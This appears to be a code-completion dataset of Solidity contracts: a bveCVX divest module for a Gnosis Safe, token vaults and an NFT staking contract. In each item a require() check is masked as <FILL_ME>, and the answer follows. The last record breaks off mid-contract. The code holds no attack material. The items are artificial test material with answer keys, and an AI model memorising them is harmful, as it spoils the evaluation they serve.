/// @return totalWdCvx Total amount of CVX withdrawable, summation of available in vault, strat and unlockable
function totalCvxWithdrawable() public view returns (uint256 totalWdCvx) {
}
}
| _executors.contains(msg.sender),"not-executor!" | 439,347 | _executors.contains(msg.sender) |
"not-add-in-set!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "EnumerableSet.sol";
import "Pausable.sol";
import "ReentrancyGuard.sol";
import "IERC20.sol";
import "Math.sol";
import "KeeperCompatibleInterface.sol";
import "IGnosisSafe.sol";
import "ICurvePool.sol";
import "IUniswapRouterV3.sol";
import "IBvecvx.sol";
import {ModuleUtils} from "ModuleUtils.sol";
/// @title BveCvxDivestModule
/// @dev Allows whitelisted executors to trigger `performUpkeep` with limited scoped
/// in our case to carry the divesting of bveCVX into USDC whenever unlocks in schedules
/// occurs with a breathing factor determined by `factorWd` to allow users to withdraw
contract BveCvxDivestModule is
ModuleUtils,
KeeperCompatibleInterface,
Pausable,
ReentrancyGuard
{
using EnumerableSet for EnumerableSet.AddressSet;
/* ========== STATE VARIABLES ========== */
address public guardian;
uint256 public factorWd;
uint256 public weeklyCvxSpotAmount;
uint256 public lastEpochIdWithdraw;
uint256 public minOutBps;
EnumerableSet.AddressSet internal _executors;
/* ========== EVENT ========== */
event ExecutorAdded(address indexed _user, uint256 _timestamp);
event ExecutorRemoved(address indexed _user, uint256 _timestamp);
event GuardianUpdated(
address indexed newGuardian,
address indexed oldGuardian,
uint256 timestamp
);
event FactorWdUpdated(
uint256 newMaxFactorWd,
uint256 oldMaxFactorWd,
uint256 timestamp
);
event WeeklyCvxSpotAmountUpdated(
uint256 newWeeklyCvxSpotAmount,
uint256 oldWeeklyCvxSpotAmount,
uint256 timestamp
);
event MinOutBpsUpdated(
uint256 newMinOutBps,
uint256 oldMinOutBps,
uint256 timestamp
);
constructor(address _guardian) {
}
/***************************************
MODIFIERS
****************************************/
modifier onlyGovernance() {
}
modifier onlyExecutors() {
}
modifier onlyGovernanceOrGuardian() {
}
/***************************************
ADMIN - GOVERNANCE
****************************************/
/// @dev Adds an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will have rights to call `checkTransactionAndExecute`.
function addExecutor(address _executor) external onlyGovernance {
require(_executor != address(0), "zero-address!");
require(<FILL_ME>)
emit ExecutorAdded(_executor, block.timestamp);
}
/// @dev Removes an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will not have rights to call `checkTransactionAndExecute`.
function removeExecutor(address _executor) external onlyGovernance {
}
/// @dev Updates the guardian address
/// @notice Only callable by governance.
/// @param _guardian Address which will beccome guardian
function setGuardian(address _guardian) external onlyGovernance {
}
/// @dev Updates the withdrawable factor
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _factor New factor value to be set for `factorWd`
function setWithdrawableFactor(uint256 _factor)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates weekly cvx amount allowance to sell in spot
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _amount New amount value to be set for `weeklyCvxSpotAmount`
function setWeeklyCvxSpotAmount(uint256 _amount)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates `minOutBps` for providing flexibility slippage control in swaps
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _minBps New min bps out value for swaps
function setMinOutBps(uint256 _minBps) external onlyGovernanceOrGuardian {
}
/// @dev Pauses the contract, which prevents executing performUpkeep.
function pause() external onlyGovernanceOrGuardian {
}
/// @dev Unpauses the contract.
function unpause() external onlyGovernance {
}
/***************************************
KEEPERS - EXECUTORS
****************************************/
/// @dev Runs off-chain at every block to determine if the `performUpkeep`
/// function should be called on-chain.
function checkUpkeep(bytes calldata)
external
view
override
whenNotPaused
returns (bool upkeepNeeded, bytes memory checkData)
{
}
/// @dev Contains the logic that should be executed on-chain when
/// `checkUpkeep` returns true.
function performUpkeep(bytes calldata performData)
external
override
onlyExecutors
whenNotPaused
nonReentrant
{
}
/***************************************
INTERNAL
****************************************/
function _withdrawBveCvx() internal {
}
function _swapCvxForWeth() internal {
}
function _swapWethToUsdc() internal {
}
/// @dev Allows executing specific calldata into an address thru a gnosis-safe, which have enable this contract as module.
/// @notice Only callable by executors.
/// @param to Contract address where we will execute the calldata.
/// @param data Calldata to be executed within the boundaries of the `allowedFunctions`.
function _checkTransactionAndExecute(address to, bytes memory data)
internal
{
}
/***************************************
PUBLIC FUNCTION
****************************************/
/// @dev Returns all addresses which have executor role
function getExecutors() public view returns (address[] memory) {
}
/// @dev returns the total amount withdrawable at current moment
/// @return totalWdCvx Total amount of CVX withdrawable, summation of available in vault, strat and unlockable
function totalCvxWithdrawable() public view returns (uint256 totalWdCvx) {
}
}
| _executors.add(_executor),"not-add-in-set!" | 439,347 | _executors.add(_executor) |
"not-remove-in-set!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "EnumerableSet.sol";
import "Pausable.sol";
import "ReentrancyGuard.sol";
import "IERC20.sol";
import "Math.sol";
import "KeeperCompatibleInterface.sol";
import "IGnosisSafe.sol";
import "ICurvePool.sol";
import "IUniswapRouterV3.sol";
import "IBvecvx.sol";
import {ModuleUtils} from "ModuleUtils.sol";
/// @title BveCvxDivestModule
/// @dev Allows whitelisted executors to trigger `performUpkeep` with limited scoped
/// in our case to carry the divesting of bveCVX into USDC whenever unlocks in schedules
/// occurs with a breathing factor determined by `factorWd` to allow users to withdraw
contract BveCvxDivestModule is
ModuleUtils,
KeeperCompatibleInterface,
Pausable,
ReentrancyGuard
{
using EnumerableSet for EnumerableSet.AddressSet;
/* ========== STATE VARIABLES ========== */
address public guardian;
uint256 public factorWd;
uint256 public weeklyCvxSpotAmount;
uint256 public lastEpochIdWithdraw;
uint256 public minOutBps;
EnumerableSet.AddressSet internal _executors;
/* ========== EVENT ========== */
event ExecutorAdded(address indexed _user, uint256 _timestamp);
event ExecutorRemoved(address indexed _user, uint256 _timestamp);
event GuardianUpdated(
address indexed newGuardian,
address indexed oldGuardian,
uint256 timestamp
);
event FactorWdUpdated(
uint256 newMaxFactorWd,
uint256 oldMaxFactorWd,
uint256 timestamp
);
event WeeklyCvxSpotAmountUpdated(
uint256 newWeeklyCvxSpotAmount,
uint256 oldWeeklyCvxSpotAmount,
uint256 timestamp
);
event MinOutBpsUpdated(
uint256 newMinOutBps,
uint256 oldMinOutBps,
uint256 timestamp
);
constructor(address _guardian) {
}
/***************************************
MODIFIERS
****************************************/
modifier onlyGovernance() {
}
modifier onlyExecutors() {
}
modifier onlyGovernanceOrGuardian() {
}
/***************************************
ADMIN - GOVERNANCE
****************************************/
/// @dev Adds an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will have rights to call `checkTransactionAndExecute`.
function addExecutor(address _executor) external onlyGovernance {
}
/// @dev Removes an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will not have rights to call `checkTransactionAndExecute`.
function removeExecutor(address _executor) external onlyGovernance {
require(_executor != address(0), "zero-address!");
require(<FILL_ME>)
emit ExecutorRemoved(_executor, block.timestamp);
}
/// @dev Updates the guardian address
/// @notice Only callable by governance.
/// @param _guardian Address which will beccome guardian
function setGuardian(address _guardian) external onlyGovernance {
}
/// @dev Updates the withdrawable factor
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _factor New factor value to be set for `factorWd`
function setWithdrawableFactor(uint256 _factor)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates weekly cvx amount allowance to sell in spot
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _amount New amount value to be set for `weeklyCvxSpotAmount`
function setWeeklyCvxSpotAmount(uint256 _amount)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates `minOutBps` for providing flexibility slippage control in swaps
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _minBps New min bps out value for swaps
function setMinOutBps(uint256 _minBps) external onlyGovernanceOrGuardian {
}
/// @dev Pauses the contract, which prevents executing performUpkeep.
function pause() external onlyGovernanceOrGuardian {
}
/// @dev Unpauses the contract.
function unpause() external onlyGovernance {
}
/***************************************
KEEPERS - EXECUTORS
****************************************/
/// @dev Runs off-chain at every block to determine if the `performUpkeep`
/// function should be called on-chain.
function checkUpkeep(bytes calldata)
external
view
override
whenNotPaused
returns (bool upkeepNeeded, bytes memory checkData)
{
}
/// @dev Contains the logic that should be executed on-chain when
/// `checkUpkeep` returns true.
function performUpkeep(bytes calldata performData)
external
override
onlyExecutors
whenNotPaused
nonReentrant
{
}
/***************************************
INTERNAL
****************************************/
function _withdrawBveCvx() internal {
}
function _swapCvxForWeth() internal {
}
function _swapWethToUsdc() internal {
}
/// @dev Allows executing specific calldata into an address thru a gnosis-safe, which have enable this contract as module.
/// @notice Only callable by executors.
/// @param to Contract address where we will execute the calldata.
/// @param data Calldata to be executed within the boundaries of the `allowedFunctions`.
function _checkTransactionAndExecute(address to, bytes memory data)
internal
{
}
/***************************************
PUBLIC FUNCTION
****************************************/
/// @dev Returns all addresses which have executor role
function getExecutors() public view returns (address[] memory) {
}
/// @dev returns the total amount withdrawable at current moment
/// @return totalWdCvx Total amount of CVX withdrawable, summation of available in vault, strat and unlockable
function totalCvxWithdrawable() public view returns (uint256 totalWdCvx) {
}
}
| _executors.remove(_executor),"not-remove-in-set!" | 439,347 | _executors.remove(_executor) |
"no-module-enabled!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "EnumerableSet.sol";
import "Pausable.sol";
import "ReentrancyGuard.sol";
import "IERC20.sol";
import "Math.sol";
import "KeeperCompatibleInterface.sol";
import "IGnosisSafe.sol";
import "ICurvePool.sol";
import "IUniswapRouterV3.sol";
import "IBvecvx.sol";
import {ModuleUtils} from "ModuleUtils.sol";
/// @title BveCvxDivestModule
/// @dev Allows whitelisted executors to trigger `performUpkeep` with limited scoped
/// in our case to carry the divesting of bveCVX into USDC whenever unlocks in schedules
/// occurs with a breathing factor determined by `factorWd` to allow users to withdraw
contract BveCvxDivestModule is
ModuleUtils,
KeeperCompatibleInterface,
Pausable,
ReentrancyGuard
{
using EnumerableSet for EnumerableSet.AddressSet;
/* ========== STATE VARIABLES ========== */
address public guardian;
uint256 public factorWd;
uint256 public weeklyCvxSpotAmount;
uint256 public lastEpochIdWithdraw;
uint256 public minOutBps;
EnumerableSet.AddressSet internal _executors;
/* ========== EVENT ========== */
event ExecutorAdded(address indexed _user, uint256 _timestamp);
event ExecutorRemoved(address indexed _user, uint256 _timestamp);
event GuardianUpdated(
address indexed newGuardian,
address indexed oldGuardian,
uint256 timestamp
);
event FactorWdUpdated(
uint256 newMaxFactorWd,
uint256 oldMaxFactorWd,
uint256 timestamp
);
event WeeklyCvxSpotAmountUpdated(
uint256 newWeeklyCvxSpotAmount,
uint256 oldWeeklyCvxSpotAmount,
uint256 timestamp
);
event MinOutBpsUpdated(
uint256 newMinOutBps,
uint256 oldMinOutBps,
uint256 timestamp
);
constructor(address _guardian) {
}
/***************************************
MODIFIERS
****************************************/
modifier onlyGovernance() {
}
modifier onlyExecutors() {
}
modifier onlyGovernanceOrGuardian() {
}
/***************************************
ADMIN - GOVERNANCE
****************************************/
/// @dev Adds an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will have rights to call `checkTransactionAndExecute`.
function addExecutor(address _executor) external onlyGovernance {
}
/// @dev Removes an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will not have rights to call `checkTransactionAndExecute`.
function removeExecutor(address _executor) external onlyGovernance {
}
/// @dev Updates the guardian address
/// @notice Only callable by governance.
/// @param _guardian Address which will beccome guardian
function setGuardian(address _guardian) external onlyGovernance {
}
/// @dev Updates the withdrawable factor
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _factor New factor value to be set for `factorWd`
function setWithdrawableFactor(uint256 _factor)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates weekly cvx amount allowance to sell in spot
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _amount New amount value to be set for `weeklyCvxSpotAmount`
function setWeeklyCvxSpotAmount(uint256 _amount)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates `minOutBps` for providing flexibility slippage control in swaps
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _minBps New min bps out value for swaps
function setMinOutBps(uint256 _minBps) external onlyGovernanceOrGuardian {
}
/// @dev Pauses the contract, which prevents executing performUpkeep.
function pause() external onlyGovernanceOrGuardian {
}
/// @dev Unpauses the contract.
function unpause() external onlyGovernance {
}
/***************************************
KEEPERS - EXECUTORS
****************************************/
/// @dev Runs off-chain at every block to determine if the `performUpkeep`
/// function should be called on-chain.
function checkUpkeep(bytes calldata)
external
view
override
whenNotPaused
returns (bool upkeepNeeded, bytes memory checkData)
{
}
/// @dev Contains the logic that should be executed on-chain when
/// `checkUpkeep` returns true.
function performUpkeep(bytes calldata performData)
external
override
onlyExecutors
whenNotPaused
nonReentrant
{
/// @dev safety check, ensuring onchain module is config
require(<FILL_ME>)
if (LOCKER.epochCount() > lastEpochIdWithdraw) {
// 1. wd bvecvx with factor threshold set in `factorWd`
_withdrawBveCvx();
// 2. swap cvx balance to weth
_swapCvxForWeth();
// 3. swap weth to usdc and send to treasury
_swapWethToUsdc();
}
}
/***************************************
INTERNAL
****************************************/
function _withdrawBveCvx() internal {
}
function _swapCvxForWeth() internal {
}
function _swapWethToUsdc() internal {
}
/// @dev Allows executing specific calldata into an address thru a gnosis-safe, which have enable this contract as module.
/// @notice Only callable by executors.
/// @param to Contract address where we will execute the calldata.
/// @param data Calldata to be executed within the boundaries of the `allowedFunctions`.
function _checkTransactionAndExecute(address to, bytes memory data)
internal
{
}
/***************************************
PUBLIC FUNCTION
****************************************/
/// @dev Returns all addresses which have executor role
function getExecutors() public view returns (address[] memory) {
}
/// @dev returns the total amount withdrawable at current moment
/// @return totalWdCvx Total amount of CVX withdrawable, summation of available in vault, strat and unlockable
function totalCvxWithdrawable() public view returns (uint256 totalWdCvx) {
}
}
| SAFE.isModuleEnabled(address(this)),"no-module-enabled!" | 439,347 | SAFE.isModuleEnabled(address(this)) |
"exec-error!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "EnumerableSet.sol";
import "Pausable.sol";
import "ReentrancyGuard.sol";
import "IERC20.sol";
import "Math.sol";
import "KeeperCompatibleInterface.sol";
import "IGnosisSafe.sol";
import "ICurvePool.sol";
import "IUniswapRouterV3.sol";
import "IBvecvx.sol";
import {ModuleUtils} from "ModuleUtils.sol";
/// @title BveCvxDivestModule
/// @dev Allows whitelisted executors to trigger `performUpkeep` with limited scoped
/// in our case to carry the divesting of bveCVX into USDC whenever unlocks in schedules
/// occurs with a breathing factor determined by `factorWd` to allow users to withdraw
contract BveCvxDivestModule is
ModuleUtils,
KeeperCompatibleInterface,
Pausable,
ReentrancyGuard
{
using EnumerableSet for EnumerableSet.AddressSet;
/* ========== STATE VARIABLES ========== */
address public guardian;
uint256 public factorWd;
uint256 public weeklyCvxSpotAmount;
uint256 public lastEpochIdWithdraw;
uint256 public minOutBps;
EnumerableSet.AddressSet internal _executors;
/* ========== EVENT ========== */
event ExecutorAdded(address indexed _user, uint256 _timestamp);
event ExecutorRemoved(address indexed _user, uint256 _timestamp);
event GuardianUpdated(
address indexed newGuardian,
address indexed oldGuardian,
uint256 timestamp
);
event FactorWdUpdated(
uint256 newMaxFactorWd,
uint256 oldMaxFactorWd,
uint256 timestamp
);
event WeeklyCvxSpotAmountUpdated(
uint256 newWeeklyCvxSpotAmount,
uint256 oldWeeklyCvxSpotAmount,
uint256 timestamp
);
event MinOutBpsUpdated(
uint256 newMinOutBps,
uint256 oldMinOutBps,
uint256 timestamp
);
constructor(address _guardian) {
}
/***************************************
MODIFIERS
****************************************/
modifier onlyGovernance() {
}
modifier onlyExecutors() {
}
modifier onlyGovernanceOrGuardian() {
}
/***************************************
ADMIN - GOVERNANCE
****************************************/
/// @dev Adds an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will have rights to call `checkTransactionAndExecute`.
function addExecutor(address _executor) external onlyGovernance {
}
/// @dev Removes an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will not have rights to call `checkTransactionAndExecute`.
function removeExecutor(address _executor) external onlyGovernance {
}
/// @dev Updates the guardian address
/// @notice Only callable by governance.
/// @param _guardian Address which will beccome guardian
function setGuardian(address _guardian) external onlyGovernance {
}
/// @dev Updates the withdrawable factor
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _factor New factor value to be set for `factorWd`
function setWithdrawableFactor(uint256 _factor)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates weekly cvx amount allowance to sell in spot
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _amount New amount value to be set for `weeklyCvxSpotAmount`
function setWeeklyCvxSpotAmount(uint256 _amount)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates `minOutBps` for providing flexibility slippage control in swaps
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _minBps New min bps out value for swaps
function setMinOutBps(uint256 _minBps) external onlyGovernanceOrGuardian {
}
/// @dev Pauses the contract, which prevents executing performUpkeep.
function pause() external onlyGovernanceOrGuardian {
}
/// @dev Unpauses the contract.
function unpause() external onlyGovernance {
}
/***************************************
KEEPERS - EXECUTORS
****************************************/
/// @dev Runs off-chain at every block to determine if the `performUpkeep`
/// function should be called on-chain.
function checkUpkeep(bytes calldata)
external
view
override
whenNotPaused
returns (bool upkeepNeeded, bytes memory checkData)
{
}
/// @dev Contains the logic that should be executed on-chain when
/// `checkUpkeep` returns true.
function performUpkeep(bytes calldata performData)
external
override
onlyExecutors
whenNotPaused
nonReentrant
{
}
/***************************************
INTERNAL
****************************************/
function _withdrawBveCvx() internal {
}
function _swapCvxForWeth() internal {
}
function _swapWethToUsdc() internal {
}
/// @dev Allows executing specific calldata into an address thru a gnosis-safe, which have enable this contract as module.
/// @notice Only callable by executors.
/// @param to Contract address where we will execute the calldata.
/// @param data Calldata to be executed within the boundaries of the `allowedFunctions`.
function _checkTransactionAndExecute(address to, bytes memory data)
internal
{
if (data.length >= 4) {
require(<FILL_ME>)
}
}
/***************************************
PUBLIC FUNCTION
****************************************/
/// @dev Returns all addresses which have executor role
function getExecutors() public view returns (address[] memory) {
}
/// @dev returns the total amount withdrawable at current moment
/// @return totalWdCvx Total amount of CVX withdrawable, summation of available in vault, strat and unlockable
function totalCvxWithdrawable() public view returns (uint256 totalWdCvx) {
}
}
| SAFE.execTransactionFromModule(to,0,data,IGnosisSafe.Operation.Call),"exec-error!" | 439,347 | SAFE.execTransactionFromModule(to,0,data,IGnosisSafe.Operation.Call) |
"Vault:onlyKeyHolder:UNAUTHORIZED" | pragma solidity 0.8.4;
contract Vault is IDepositHandler, IVault, IERC721Receiver, IERC1155Receiver {
IVaultFactory public immutable vaultFactoryContract;
IVaultKey public immutable vaultKeyContract;
uint256 public immutable vaultKeyId;
uint256 public immutable lockTimestamp;
uint256 public immutable unlockTimestamp;
bool public isUnlocked;
modifier onlyKeyHolder() {
require(<FILL_ME>)
_;
}
modifier onlyUnlockable() {
}
constructor(
address _vaultKeyContractAddress,
uint256 _keyId,
uint256 _unlockTimestamp
) {
}
function getBeneficiary() external view override returns (address) {
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure override returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
}
}
| vaultKeyContract.ownerOf(vaultKeyId)==msg.sender,"Vault:onlyKeyHolder:UNAUTHORIZED" | 439,534 | vaultKeyContract.ownerOf(vaultKeyId)==msg.sender |
"MultiVault:unlock:ALREADY_OPEN: Vault has already been unlocked" | pragma solidity 0.8.4;
contract MultiVault is Vault {
using SafeERC20 for IERC20;
FungibleTokenDeposit[] public fungibleTokenDeposits;
NonFungibleTokenDeposit[] public nonFungibleTokenDeposits;
MultiTokenDeposit[] public multiTokenDeposits;
constructor(
address _vaultKeyContractAddress,
uint256 _keyId,
uint256 _unlockTimestamp,
FungibleTokenDeposit[] memory _fungibleTokenDeposits,
NonFungibleTokenDeposit[] memory _nonFungibleTokenDeposits,
MultiTokenDeposit[] memory _multiTokenDeposits
) Vault(_vaultKeyContractAddress, _keyId, _unlockTimestamp) {
}
function unlock(bytes memory data) external onlyKeyHolder onlyUnlockable {
require(<FILL_ME>)
for (uint256 i = 0; i < fungibleTokenDeposits.length; i++) {
IERC20 token = IERC20(fungibleTokenDeposits[i].tokenAddress);
uint256 balance = token.balanceOf(address(this));
// in case a token is duplicated, only one transfer is required, hence the check
if (balance > 0) {
token.safeTransfer(msg.sender, balance);
}
}
for (uint256 i = 0; i < nonFungibleTokenDeposits.length; i++) {
IERC721(nonFungibleTokenDeposits[i].tokenAddress).safeTransferFrom(
address(this),
msg.sender,
nonFungibleTokenDeposits[i].tokenId
);
}
for (uint256 i = 0; i < multiTokenDeposits.length; i++) {
IERC1155(multiTokenDeposits[i].tokenAddress).safeTransferFrom(
address(this),
msg.sender,
multiTokenDeposits[i].tokenId,
multiTokenDeposits[i].amount,
data
);
}
isUnlocked = true;
vaultFactoryContract.notifyUnlock(true);
}
function partialFungibleTokenUnlock(address _tokenAddress, uint256 _tokenAmount)
external
onlyKeyHolder
onlyUnlockable
{
}
function partialNonFungibleTokenUnlock(address _tokenAddress, uint256 _tokenId)
external
onlyKeyHolder
onlyUnlockable
{
}
function partialMultiTokenUnlock(
address _tokenAddress,
uint256 _tokenId,
uint256 _tokenAmount,
bytes calldata data
) external onlyKeyHolder onlyUnlockable {
}
function _isLockedFungibleAddress(address _tokenAddress) private view returns (bool) {
}
function _isLockedNonFungibleAddress(address _tokenAddress) private view returns (bool) {
}
function _isLockedMultiAddress(address _tokenAddress) private view returns (bool) {
}
function _isCompletelyUnlocked() private view returns (bool) {
}
}
| !isUnlocked,"MultiVault:unlock:ALREADY_OPEN: Vault has already been unlocked" | 439,535 | !isUnlocked |
"MultiVault:partialFungibleTokenUnlock:INVALID_TOKEN" | pragma solidity 0.8.4;
contract MultiVault is Vault {
using SafeERC20 for IERC20;
FungibleTokenDeposit[] public fungibleTokenDeposits;
NonFungibleTokenDeposit[] public nonFungibleTokenDeposits;
MultiTokenDeposit[] public multiTokenDeposits;
constructor(
address _vaultKeyContractAddress,
uint256 _keyId,
uint256 _unlockTimestamp,
FungibleTokenDeposit[] memory _fungibleTokenDeposits,
NonFungibleTokenDeposit[] memory _nonFungibleTokenDeposits,
MultiTokenDeposit[] memory _multiTokenDeposits
) Vault(_vaultKeyContractAddress, _keyId, _unlockTimestamp) {
}
function unlock(bytes memory data) external onlyKeyHolder onlyUnlockable {
}
function partialFungibleTokenUnlock(address _tokenAddress, uint256 _tokenAmount)
external
onlyKeyHolder
onlyUnlockable
{
require(<FILL_ME>)
IERC20(_tokenAddress).safeTransfer(msg.sender, _tokenAmount);
vaultFactoryContract.notifyUnlock(_isCompletelyUnlocked());
}
function partialNonFungibleTokenUnlock(address _tokenAddress, uint256 _tokenId)
external
onlyKeyHolder
onlyUnlockable
{
}
function partialMultiTokenUnlock(
address _tokenAddress,
uint256 _tokenId,
uint256 _tokenAmount,
bytes calldata data
) external onlyKeyHolder onlyUnlockable {
}
function _isLockedFungibleAddress(address _tokenAddress) private view returns (bool) {
}
function _isLockedNonFungibleAddress(address _tokenAddress) private view returns (bool) {
}
function _isLockedMultiAddress(address _tokenAddress) private view returns (bool) {
}
function _isCompletelyUnlocked() private view returns (bool) {
}
}
| _isLockedFungibleAddress(_tokenAddress),"MultiVault:partialFungibleTokenUnlock:INVALID_TOKEN" | 439,535 | _isLockedFungibleAddress(_tokenAddress) |
"MultiVault:partialNonFungibleTokenUnlock:INVALID_TOKEN" | pragma solidity 0.8.4;
contract MultiVault is Vault {
using SafeERC20 for IERC20;
FungibleTokenDeposit[] public fungibleTokenDeposits;
NonFungibleTokenDeposit[] public nonFungibleTokenDeposits;
MultiTokenDeposit[] public multiTokenDeposits;
constructor(
address _vaultKeyContractAddress,
uint256 _keyId,
uint256 _unlockTimestamp,
FungibleTokenDeposit[] memory _fungibleTokenDeposits,
NonFungibleTokenDeposit[] memory _nonFungibleTokenDeposits,
MultiTokenDeposit[] memory _multiTokenDeposits
) Vault(_vaultKeyContractAddress, _keyId, _unlockTimestamp) {
}
function unlock(bytes memory data) external onlyKeyHolder onlyUnlockable {
}
function partialFungibleTokenUnlock(address _tokenAddress, uint256 _tokenAmount)
external
onlyKeyHolder
onlyUnlockable
{
}
function partialNonFungibleTokenUnlock(address _tokenAddress, uint256 _tokenId)
external
onlyKeyHolder
onlyUnlockable
{
require(<FILL_ME>)
IERC721(_tokenAddress).safeTransferFrom(address(this), msg.sender, _tokenId);
vaultFactoryContract.notifyUnlock(_isCompletelyUnlocked());
}
function partialMultiTokenUnlock(
address _tokenAddress,
uint256 _tokenId,
uint256 _tokenAmount,
bytes calldata data
) external onlyKeyHolder onlyUnlockable {
}
function _isLockedFungibleAddress(address _tokenAddress) private view returns (bool) {
}
function _isLockedNonFungibleAddress(address _tokenAddress) private view returns (bool) {
}
function _isLockedMultiAddress(address _tokenAddress) private view returns (bool) {
}
function _isCompletelyUnlocked() private view returns (bool) {
}
}
| _isLockedNonFungibleAddress(_tokenAddress),"MultiVault:partialNonFungibleTokenUnlock:INVALID_TOKEN" | 439,535 | _isLockedNonFungibleAddress(_tokenAddress) |
"MultiVault:partialMultiTokenUnlock:INVALID_TOKEN" | pragma solidity 0.8.4;
contract MultiVault is Vault {
using SafeERC20 for IERC20;
FungibleTokenDeposit[] public fungibleTokenDeposits;
NonFungibleTokenDeposit[] public nonFungibleTokenDeposits;
MultiTokenDeposit[] public multiTokenDeposits;
constructor(
address _vaultKeyContractAddress,
uint256 _keyId,
uint256 _unlockTimestamp,
FungibleTokenDeposit[] memory _fungibleTokenDeposits,
NonFungibleTokenDeposit[] memory _nonFungibleTokenDeposits,
MultiTokenDeposit[] memory _multiTokenDeposits
) Vault(_vaultKeyContractAddress, _keyId, _unlockTimestamp) {
}
function unlock(bytes memory data) external onlyKeyHolder onlyUnlockable {
}
function partialFungibleTokenUnlock(address _tokenAddress, uint256 _tokenAmount)
external
onlyKeyHolder
onlyUnlockable
{
}
function partialNonFungibleTokenUnlock(address _tokenAddress, uint256 _tokenId)
external
onlyKeyHolder
onlyUnlockable
{
}
function partialMultiTokenUnlock(
address _tokenAddress,
uint256 _tokenId,
uint256 _tokenAmount,
bytes calldata data
) external onlyKeyHolder onlyUnlockable {
require(<FILL_ME>)
IERC1155(_tokenAddress).safeTransferFrom(address(this), msg.sender, _tokenId, _tokenAmount, data);
vaultFactoryContract.notifyUnlock(_isCompletelyUnlocked());
}
function _isLockedFungibleAddress(address _tokenAddress) private view returns (bool) {
}
function _isLockedNonFungibleAddress(address _tokenAddress) private view returns (bool) {
}
function _isLockedMultiAddress(address _tokenAddress) private view returns (bool) {
}
function _isCompletelyUnlocked() private view returns (bool) {
}
}
| _isLockedMultiAddress(_tokenAddress),"MultiVault:partialMultiTokenUnlock:INVALID_TOKEN" | 439,535 | _isLockedMultiAddress(_tokenAddress) |
": Game token consumption not allowed" | /**
*Submitted for verification at Etherscan.io on 2023-08-02
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC721{
function balanceOf(address owner) external view returns (uint256 balance);
function transferFrom(address from, address to, uint256 tokenId) external;
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
contract GameStaking{
address SanshiNFT = 0x6976Af8b25C97A090769Fa97ca9359c891353f61;
address owner;
bool public unstake_enable = true;
mapping(address => uint256) public _balances;
mapping(address => mapping(uint256 => uint256)) public _tokensOfOwners; // address of Owner => (number in stacking => NFT ids)
constructor(){
}
modifier onlyOwner() {
}
function tokensOfOwner_NFT(address _owner, uint256 _start, uint256 _end) external view returns(uint256[] memory) {
}
function depositNft(uint256[] memory tokenIds) public {
address Staker = msg.sender;
require(<FILL_ME>)
for(uint i = 0; i < tokenIds.length; i++){
IERC721(SanshiNFT).transferFrom(Staker, address(this), tokenIds[i]); //transfer the token with the specified id to the balance of the staking contract
_balances[Staker]++; //increase staker balance
uint256 Staker_balance = _balances[Staker];
_tokensOfOwners[Staker][Staker_balance] = tokenIds[i]; // We remember the token id on the stack in order
}
}
function unstakeNft(uint256 _count) public {
}
function set_SanshiNFT(address _SanshiNFT) external onlyOwner {
}
function flip_unstake_enable() external onlyOwner {
}
}
| IERC721(SanshiNFT).isApprovedForAll(Staker,address(this)),": Game token consumption not allowed" | 439,550 | IERC721(SanshiNFT).isApprovedForAll(Staker,address(this)) |
": No tokens in staking" | /**
*Submitted for verification at Etherscan.io on 2023-08-02
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC721{
function balanceOf(address owner) external view returns (uint256 balance);
function transferFrom(address from, address to, uint256 tokenId) external;
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
contract GameStaking{
address SanshiNFT = 0x6976Af8b25C97A090769Fa97ca9359c891353f61;
address owner;
bool public unstake_enable = true;
mapping(address => uint256) public _balances;
mapping(address => mapping(uint256 => uint256)) public _tokensOfOwners; // address of Owner => (number in stacking => NFT ids)
constructor(){
}
modifier onlyOwner() {
}
function tokensOfOwner_NFT(address _owner, uint256 _start, uint256 _end) external view returns(uint256[] memory) {
}
function depositNft(uint256[] memory tokenIds) public {
}
